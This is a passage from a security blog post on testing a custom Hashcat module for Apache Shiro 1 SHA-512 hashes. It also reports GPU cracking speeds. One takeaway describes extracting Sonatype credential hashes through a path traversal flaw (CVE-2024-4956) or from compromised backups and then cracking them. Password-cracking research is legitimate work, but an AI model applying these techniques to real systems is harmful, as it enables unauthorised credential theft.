shown is <strong>module_generate_hash</strong>, which takes three arguments being: a password to hash, the salt to use for the hash, and the number of iterations to perform on the hash. It then generates a hash using these arguments and returns it, which will be used as part of testing with <strong>test.sh</strong>/<strong>test.pl</strong>. This method should generate a hash for your algorithm, preferably using Perl cryptography libraries and the arguments passed to the method. The arguments that are passed are controlled by the <strong>test.pl</strong>/<strong>test.sh </strong>programs and based on which test is being performed. It is important to make sure your Perl implementation is accurate according to the specification for the algorithm, otherwise all your testing will be inaccurate. You should test it independently from Hashcat and verify generated hashes are accurate and make sure your logic for <strong>module_verify_hash</strong> is working correctly before performing a test with the Test Suite.</p><h4>Running test.sh</h4><p>At this point, we are ready to run <strong>test.sh</strong> to test cracking using the module and will focus on <strong>module_verify_hash</strong> later. If you are a Windows user developing/testing your module on a Windows host, you might have been like me at the beginning of this process and had a reaction similar to the one below regarding the <strong>test.sh </strong>script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qXx1fJpfOXgwWaLX" /></figure><p>No need to fear though as we can still test our module on Windows using WSL/WSL2 or Cygwin using the <strong>test.sh</strong> script and providing “<strong>win</strong>” for the <strong>-o </strong>flag. Our command line for running <strong>test.sh</strong> is displayed below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*bKuBIGTc_aYA-Xc8oKH57A.png" /></figure><p>Here is an explanation of these flags and their values:</p><p>· <strong>-m 12150</strong>: specifically test using the <strong>m12150.pm</strong> test module</p><p>· <strong>-a all</strong>: test all attack modes</p><p>· <strong>-t all</strong>: test <strong>single</strong> and <strong>multi</strong> hash modes</p><p>· <strong>-P</strong>: use pure kernels instead of optimized kernels since our module’s kernel is pure without an optimized version</p><p>· <strong>-o win</strong>: use the Windows operating system (adds .exe file extension to Hashcat binary to run with WSL/WSL2/Cygwin)</p><p>The output shown in our screenshot from the <strong>test.sh</strong> script indicates success for all tests. Since everything was found/matched and nothing timed out or was skipped, all tests passed. A success from this test command means the module was able to successfully crack hashes generated by the Perl test module. If you were getting results showing hashes were not found/matched, timeouts, or hashes being skipped, these would be indicators of failed tests. Now onto the <strong>module_verify_hash</strong> method.</p><h4>Running Verify Test</h4><p>Since we require a sample of cracked hashes to perform <strong>verify</strong> tests, they are not automated by <strong>test.sh</strong> and are run post-crack. The flow for performing a <strong>verify</strong> test would be to: generate known hashes, crack them to a <strong>pot file</strong>, and then run <strong>test.pl </strong>in verify mode while supplying the hash file, hash mode, <strong>pot file</strong>, and output file as arguments. The purpose of this test is to verify if cracked hashes are being accurately marked. Our implementation for <strong>module_verify_hash </strong>is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*vLVA2Wz5kQLYM4XOkHU7Nw.png" /></figure><p>As you can see, it will take a line from the <strong>pot file</strong> and extract the password, salt, and number of iterations from it. From there, it will generate a new hash using <strong>module_generate_hash</strong>. Next, <strong>test.pl</strong> will perform a comparison of the newly generated hash against all hashes in the original hash file. If there is not a match, it is an indicator that the module is reporting false positives for cracked hashes and there is likely an issue with the <strong>comp </strong>method of your kernel. Below is an example of generating hashes to be cracked and used for a <strong>verify </strong>test using <a href="https://github.com/fin3ss3g0d/Shiro1Tools/tree/main/shiro-hash-generator">shiro-hash-generator</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*zDXluv9SXKOBLL0vVbOSGg.png" /></figure><p>We can then perform the crack using the command below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*I41JYYcDkoNiRHuuNj-nXA.png" /></figure><p>Following this command, the crack results will be stored in <strong>test.potfile </strong>in &lt;<strong>DIGEST</strong>&gt;:&lt;<strong>PASSWORD</strong>&gt; format. We can then perform our <strong>verify </strong>test with <strong>test.pl</strong> which is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*J_WuLuE-yHC6mVZN0KEK1A.png" /></figure><p>Looking at the documentation for <strong>verify </strong>above, we can see that if a hash in the <strong>pot file</strong> matches an entry in the hashes file, it will be written to the out file indicating a successful verification. After running <strong>test.pl</strong>, the contents of <strong>log.txt</strong> are displayed, which contains all of our <strong>pot file </strong>entries. This result indicates a successful test and that our module is accurately marking hashes as cracked. This concludes testing our module using the Hashcat Test Suite!</p><h3>Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*HRwxLrwPGkXooG4HDrRXpg.png" /></figure><h3>From Weeks to Hours: Hashcat Module Performance</h3><p>When we discuss performance of the Hashcat module versus the standalone C implementation, the <a href="https://download.weakpass.com/wordlists/1948/weakpass_3a.7z">weakpass_3a</a> wordlist was going to take multiple weeks for one hash to complete after modifying the <a href="https://github.com/fin3ss3g0d/Shiro1Tools/blob/main/shiro-crack/shiro1.c">C program</a> to take an input hash as a commandline argument. The hash cracking rig we are using (which has 10 NVIDIA RTX 3090’s) was able to perform a crack using the same wordlist against 16 hashes in 1 hour and 45 minutes with a speed of testing hashes at 21613.7 kH/s (21,613,700 per second) using the Hashcat module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ipwrPdqcZB3O6_svACe-gw.png" /></figure><h3>Takeaways</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3OiBGJANu1tsF2qf" /></figure><p>Overall, there are some key pieces of information to take away here:</p><ul><li>The Apache Shiro 1 SHA-512 hashing algorithm used to have a limited attack surface due to the lack of Hashcat support or similar project that can utilize GPU hardware to crack the algorithm; this is no longer true.</li><li>Sonatype’s default iteration count is relatively low at 1024 iterations per hash and is actually below the Apache Shiro default iteration, making it a fairly inexpensive algorithm with decent cracking times.</li><li>Sonatype hashes user credentials for the web application database using this algorithm, if a system is vulnerable to a LFI/path traversal (i.e. CVE-2024–4956) vulnerability, you can extract these hashes from OrientDB <strong>.pcl</strong> files and then crack them with the Hashcat module. Any other means of gaining access to these files is valid such as compromising a system where these files have been backed up, compromising a system through a different vulnerability, etc.</li><li>We learned how to create a moderately complex Hashcat module as well as where to find the official documentation for plugin development that can be applied to different algorithms if we come across a situation such as this in the future. We also learned how to test our module to make sure it is working correctly.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wAkH3KDBhYVmBpfSY0CmCA.png" /></figure><p>The advice I will give at the end of this piece of writing is to keep calm and hack the planet!</p><p>This blog post is also cross posted on my personal blog that you can find <a href="https://fin3ss3g0d.net/index.php/2024/06/24/crack-faster-hack-smarter-custom-hashcat-module-for-apache-shiro-1-sha-512/">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*cPOk3t-KCsnN7D2t.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0c4defbcae7" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maverislabs/crack-faster-hack-smarter-c0c4defbcae7">Crack Faster, Hack Smarter</a> was originally published in <a href="https://medium.com/maverislabs">Maveris Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>